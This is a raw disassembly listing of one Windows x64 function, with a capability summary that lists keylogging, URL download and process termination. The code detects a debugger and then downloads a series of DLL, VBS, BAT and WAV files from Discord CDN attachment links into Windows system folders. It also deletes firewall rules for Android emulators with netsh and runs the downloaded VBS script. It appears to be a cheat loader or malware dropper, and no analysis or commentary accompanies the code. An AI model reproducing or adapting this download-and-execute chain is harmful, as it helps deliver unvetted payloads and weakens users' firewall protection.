Function at 0x140045d30
Capabilities:
Create process on windows
Create thread
Download url
Enumerate processes
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x2b38]
mov eax, 0x2c38
call fcn.1400b6440
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
test eax, eax
je 0x140045d7d
lea r9d, [rcx + 0x10]
lea r8, str.Error
lea rdx, str.Debugger_detected_
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
add rsp, 0x2c38
pop r14
pop rbp
ret
mov qword [rsp + 0x2c50], rbx
lea r8, [0x140044c40]
mov qword [rsp + 0x2c58], rsi
xor r9d, r9d
mov qword [rsp + 0x2c60], rdi
xor edx, edx
mov qword [rsp + 0x2c30], r12
xor r12d, r12d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1034330012733681755_1160248205527760906_OPCION_ACTIVADA_AUDIO_VOZ.wav]
lea r8, [rbp + 0x980]
movaps xmm1, xmmword [0x14015c1a0]
lea rdx, [rbp + 0xc90]
mov eax, dword [0x14015c1f8]
xor r9d, r9d
movaps xmmword [rbp + 0xc90], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14015c1b0]
movaps xmmword [rbp + 0xcb0], xmm0
movaps xmm0, xmmword [0x14015c1d0]
movaps xmmword [rbp + 0xcd0], xmm0
movsd xmm0, qword [0x14015c1f0]
movaps xmmword [rbp + 0xca0], xmm1
movaps xmm1, xmmword [0x14015c1c0]
movsd qword [rbp + 0xcf0], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0xcf8], eax
movzx eax, byte [0x14015c1fc]
movaps xmmword [rbp + 0xcc0], xmm1
movaps xmm1, xmmword [0x14015c1e0]
movaps xmmword [rbp + 0xce0], xmm1
movups xmm1, xmmword [0x14015c210]
mov byte [rbp + 0xcfc], al
movzx eax, byte [0x14015c228]
movups xmmword [rbp + 0x980], xmm0
mov byte [rbp + 0x9a8], al
movsd xmm0, qword [0x14015c220]
movsd qword [rbp + 0x9a0], xmm0
movups xmmword [rbp + 0x990], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movzx eax, word [0x14015c288]
lea r8, [rbp + 0x3d0]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038705981390848_activar.wav]
lea rdx, [rbp + 0xbb0]
movaps xmm1, xmmword [0x14015c240]
xor r9d, r9d
movaps xmmword [rbp + 0xbb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14015c250]
mov word [rbp + 0xc08], ax
movzx eax, byte [0x14015c28a]
movaps xmmword [rbp + 0xbd0], xmm0
movaps xmm0, xmmword [0x14015c270]
mov byte [rbp + 0xc0a], al
mov eax, dword [0x14015c2a0]
movaps xmmword [rbp + 0xbf0], xmm0
movsd xmm0, qword [0x14015c280]
mov dword [rbp + 0x3e0], eax
movzx eax, word [0x14015c2a4]
movsd qword [rbp + 0xc00], xmm0
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov word [rbp + 0x3e4], ax
movzx eax, byte [0x14015c2a6]
movaps xmmword [rbp + 0xbc0], xmm1
movaps xmm1, xmmword [0x14015c260]
movups xmmword [rbp + 0x3d0], xmm0
mov byte [rbp + 0x3e6], al
movaps xmmword [rbp + 0xbe0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
movaps xmm1, xmmword [0x14015c2c0]
movaps xmmword [rbp + 0xc10], xmm0
movaps xmm0, xmmword [0x14015c2d0]
movaps xmmword [rbp + 0xc20], xmm1
movaps xmm1, xmmword [0x14015c2e0]
movaps xmmword [rbp + 0xc30], xmm0
movaps xmmword [rbp + 0xc40], xmm1
movaps xmm0, xmmword [0x14015c2f0]
lea r8, [rbp + 0x560]
mov eax, dword [0x14015c308]
lea rdx, [rbp + 0xc10]
movaps xmmword [rbp + 0xc50], xmm0
xor r9d, r9d
movsd xmm0, qword [0x14015c300]
xor ecx, ecx
movsd qword [rbp + 0xc60], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0xc68], eax
movzx eax, word [0x14015c30c]
movups xmmword [rbp + 0x560], xmm0
mov word [rbp + 0xc6c], ax
movsd xmm0, qword [0x14015c320]
movzx eax, word [0x14015c328]
movsd qword [rbp + 0x570], xmm0
mov word [rbp + 0x578], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp + 0x580]
movaps xmm1, xmmword [0x14015c360]
lea rdx, [rbp + 0xd60]
movzx eax, byte [0x14015c3a8]
xor r9d, r9d
movaps xmmword [rbp + 0xd60], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14015c370]
movaps xmmword [rbp + 0xd80], xmm0
movaps xmm0, xmmword [0x14015c390]
movaps xmmword [rbp + 0xda0], xmm0
movsd xmm0, qword [0x14015c3a0]
movsd qword [rbp + 0xdb0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xdb8], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp + 0x580], xmm0
mov word [rbp + 0x598], ax
movsd xmm0, qword [0x14015c3c0]
movaps xmmword [rbp + 0xd70], xmm1
movaps xmm1, xmmword [0x14015c380]
movsd qword [rbp + 0x590], xmm0
movaps xmmword [rbp + 0xd90], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rbx, [0x140000000]
lea rcx, [rbx + 0x15c3d0]
lea rdx, [rbp + 0x1d50]
movups xmm0, xmmword [rcx]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
lea r8, str.C:WindowsTemp_systen.dll
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm1
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x20f0]
mov byte [rdx + 0x36], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x20f0]
xor ecx, ecx
lea rdx, [rbp + 0x1d50]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c3d0]
lea rcx, [rbx + 0x15c3d0]
mov qword [rsp + 0x20], r12
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1c90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
mov byte [rdx + 0x36], al
movzx eax, word [0x14015b618]
mov word [rbp + 0x498], ax
movzx eax, byte [0x14015b61a]
movups xmmword [rbp + 0x480], xmm0
mov byte [rbp + 0x49a], al
movsd xmm0, qword [0x14015b610]
movsd qword [rbp + 0x490], xmm0
xor r9d, r9d
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x1c90]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c490]
lea rcx, [rbx + 0x15c490]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1e10]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp + 0x4a0]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x1e10]
movzx eax, word [0x14015b690]
mov word [rbp + 0x4b8], ax
movzx eax, byte [0x14015b692]
movups xmmword [rbp + 0x4a0], xmm0
mov byte [rbp + 0x4ba], al
movsd xmm0, qword [0x14015b688]
movsd qword [rbp + 0x4b0], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c550]
lea rcx, [rbx + 0x15c550]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1b10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
lea r8, str.C:WindowsTemp_block_internet.bat
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x2530]
mov byte [rdx + 0x3e], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2530]
xor ecx, ecx
lea rdx, [rbp + 0x1b10]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c640]
lea rax, [rbx + 0x15c640]
mov edx, 0x104
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1bd0]
movups xmmword [rcx], xmm0
lea r8, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x1ed0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1ed0]
xor ecx, ecx
lea rdx, [rbp + 0x1bd0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c730]
lea rcx, [rbx + 0x15c730]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x1510]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsSystem32_rafa.wav
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
mov byte [rdx + 0x34], al
mov edx, 0x104
lea rcx, [rbp + 0x1fe0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1fe0]
xor ecx, ecx
lea rdx, [rbp + 0x1510]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1194418056462606356_box.dll]
lea r8, str.C:WindowsTemp_box.dll
mov eax, dword [0x14015c860]
lea rcx, [rbp + 0x1340]
movaps xmm1, xmmword [0x14015c820]
mov edx, 0x104
movaps xmmword [rbp + 0xa40], xmm0
movaps xmm0, xmmword [0x14015c830]
mov dword [rbp + 0xa90], eax
movzx eax, word [0x14015c864]
movaps xmmword [rbp + 0xa60], xmm0
movaps xmm0, xmmword [0x14015c850]
movaps xmmword [rbp + 0xa50], xmm1
movaps xmm1, xmmword [0x14015c840]
mov word [rbp + 0xa94], ax
movzx eax, byte [0x14015c866]
movaps xmmword [rbp + 0xa80], xmm0
movaps xmmword [rbp + 0xa70], xmm1
mov byte [rbp + 0xa96], al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1340]
xor ecx, ecx
lea rdx, [rbp + 0xa40]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_979238238227136603_1205358543792775258_boxrgb.dll_]
lea r8, str.C:WindowsTemp_boxrgb.dll
movaps xmm1, xmmword [0x14015c880]
lea rcx, [rbp + 0x1340]
movzx eax, word [0x14015c8c8]
mov edx, 0x104
movaps xmmword [rbp + 0xdc0], xmm0
movaps xmm0, xmmword [0x14015c890]
movaps xmmword [rbp + 0xde0], xmm0
movaps xmm0, xmmword [0x14015c8b0]
movaps xmmword [rbp + 0xe00], xmm0
movsd xmm0, qword [0x14015c8c0]
movaps xmmword [rbp + 0xdd0], xmm1
movaps xmm1, xmmword [0x14015c8a0]
movsd qword [rbp + 0xe10], xmm0
movaps xmmword [rbp + 0xdf0], xmm1
mov word [rbp + 0xe18], ax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2750]
xor ecx, ecx
lea rdx, [rbp + 0xdc0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c8d0]
lea rcx, [rbx + 0x15c8d0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x18d0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xb0]
lea r8, str.C:WindowsTempChamsRed.dll
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x1340]
mov byte [rdx + 0x38], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2860]
xor ecx, ecx
lea rdx, [rbp + 0x18d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c8d0]
lea rcx, [rbx + 0x15c8d0]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1990]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsTempChamsRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x2640]
mov byte [rdx + 0x38], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2640]
xor ecx, ecx
lea rdx, [rbp + 0x1990]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c990]
lea rcx, [rbx + 0x15c990]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x15d0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
lea r8, str.C:WindowsTempRas1.dll
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x2200]
mov byte [rdx + 0x34], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2200]
xor ecx, ecx
lea rdx, [rbp + 0x15d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15ca70]
lea rcx, [rbx + 0x15ca70]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1750]
movups xmmword [rdx], xmm0
lea r8, str.C:WindowsTempRastss.dll
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x2310]
mov byte [rdx + 0x36], al
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2310]
xor ecx, ecx
lea rdx, [rbp + 0x1750]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea r8, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x14015cb40]
lea rcx, [rbp + 0x2420]
mov eax, dword [0x14015cb88]
mov edx, 0x104
movaps xmmword [rbp + 0xe80], xmm0
movaps xmm0, xmmword [0x14015cb50]
movaps xmmword [rbp + 0xea0], xmm0
movaps xmm0, xmmword [0x14015cb70]
movaps xmmword [rbp + 0xec0], xmm0
movsd xmm0, qword [0x14015cb80]
movaps xmmword [rbp + 0xe90], xmm1
movaps xmm1, xmmword [0x14015cb60]
movsd qword [rbp + 0xed0], xmm0
movaps xmmword [rbp + 0xeb0], xmm1
mov dword [rbp + 0xed8], eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x2420]
xor ecx, ecx
lea rdx, [rbp + 0xe80]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1194418056462606356_box.dll]
movaps xmmword [rbp + 0xaa0], xmm0
movaps xmm0, xmmword [0x14015c830]
lea r8, [rbp + 0x7f8]
mov eax, dword [0x14015c860]
lea rdx, [rbp + 0xaa0]
movaps xmm1, xmmword [0x14015c820]
xor r9d, r9d
movaps xmmword [rbp + 0xac0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14015c850]
movaps xmmword [rbp + 0xae0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_box.dll]
mov dword [rbp + 0xaf0], eax
movzx eax, word [0x14015c864]
movups xmmword [rbp + 0x7f8], xmm0
mov word [rbp + 0xaf4], ax
movsd xmm0, qword [0x14015b5c0]
movzx eax, byte [0x14015c866]
movaps xmmword [rbp + 0xab0], xmm1
movaps xmm1, xmmword [0x14015c840]
movsd qword [rbp + 0x808], xmm0
movaps xmmword [rbp + 0xad0], xmm1
mov byte [rbp + 0xaf6], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_979238238227136603_1205358543792775258_boxrgb.dll]
lea r8, [rbp + 0x4c0]
movzx eax, byte [0x14015cbe8]
lea rdx, [rbp + 0xd00]
movaps xmm1, xmmword [0x14015cba0]
xor r9d, r9d
movaps xmmword [rbp + 0xd00], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14015cbb0]
movaps xmmword [rbp + 0xd20], xmm0
movaps xmm0, xmmword [0x14015cbd0]
movaps xmmword [rbp + 0xd40], xmm0
movsd xmm0, qword [0x14015cbe0]
movsd qword [rbp + 0xd50], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov byte [rbp + 0xd58], al
movzx eax, word [0x14015b708]
movups xmmword [rbp + 0x4c0], xmm0
mov word [rbp + 0x4d8], ax
movsd xmm0, qword [0x14015b700]
movzx eax, byte [0x14015b70a]
movaps xmmword [rbp + 0xd10], xmm1
movaps xmm1, xmmword [0x14015cbc0]
movsd qword [rbp + 0x4d0], xmm0
movaps xmmword [rbp + 0xd30], xmm1
mov byte [rbp + 0x4da], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x15c8d0]
lea rcx, [rbx + 0x15c8d0]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
